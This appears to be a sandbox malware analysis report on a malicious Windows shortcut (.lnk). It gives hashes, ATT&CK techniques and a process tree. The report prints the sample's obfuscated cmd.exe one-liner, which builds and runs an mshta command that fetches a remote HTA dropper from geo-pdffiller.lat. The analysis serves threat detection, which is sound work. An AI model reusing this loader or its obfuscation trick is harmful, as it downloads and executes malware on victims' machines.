d8b42bdcd05e9d57b2d23646a84afe41f4ddc21e86cb489ab184481e17b33369

Analysis

max time kernel
60s
max time network
27s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/09/2026, 22:50

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General

Target
DOC-M277EG.lnk
Size 2KB
Sample260901-2scxnscl3x
SHA256 d8b42bdcd05e9d57b2d23646a84afe41f4ddc21e86cb489ab184481e17b33369
MD5 7648e6a8d1e61dcc4c5e7a66c22b7dfa
SHA1 5c3c406bc8baafc91f8ddd8f368eac2b2b555e39
SHA512 d24bc58d5062dcac13d7c99e229a459e498ed8c118af09f308b5a3ab427fda67924622f6a701296671abaf62fd0054a1d0282c353e5af1b3427c4769047b14dd
TLSH
T160415B9037F90098F3FB9E32EDFA279588BBB5816E64C59D4850C20D0422B02D973B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://geo-pdffiller.lat/h/estagio1.php?r=331061

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4136	cmd.exe
5412	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 5412	4136	cmd.exe	90
PID 5412 wrote to memory of 2512	5412	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-M277EG.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4136
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set ZeQph=olddeymoptmseold&&set vDqXa=tmpydrrpioxfgghvaulctmp&&set xGIk=logtgtqtjqcpctoiszlog&&set PG=bakvybqvlmerttxbak&&set Nk=oldeaadusqmdfaubuocrvold&&set ZbxHm=smsa4&&set KKNR=b0ohta&&set FG=pmal5&&set TZeL=winakvvksfdhtpwin&&set aI=syszmsctcjzvfckmlrsersys&&set Yypc=ex0s78&&set oXd=bsutl&&set SYa=6artrt&&set sO=logggcqlbyxhagdqbizlog&&set aiuvg=infpcuuninf&&set NHjGP=winalsodahfwimhiztsgwin&&set xbadP=htt@ps://ge@o@-p@dffiller.@l@at/@h/est@agio1@.@p@hp@?r=331@06@1&&start /b !ZbxHm:~1,2!!KKNR:~3,2!!FG:~2,1! !xbadP:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\System32\mshta.exe
    mshta https://geo-pdffiller.lat/h/estagio1.php?r=331061
    3⤵
    PID:2512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads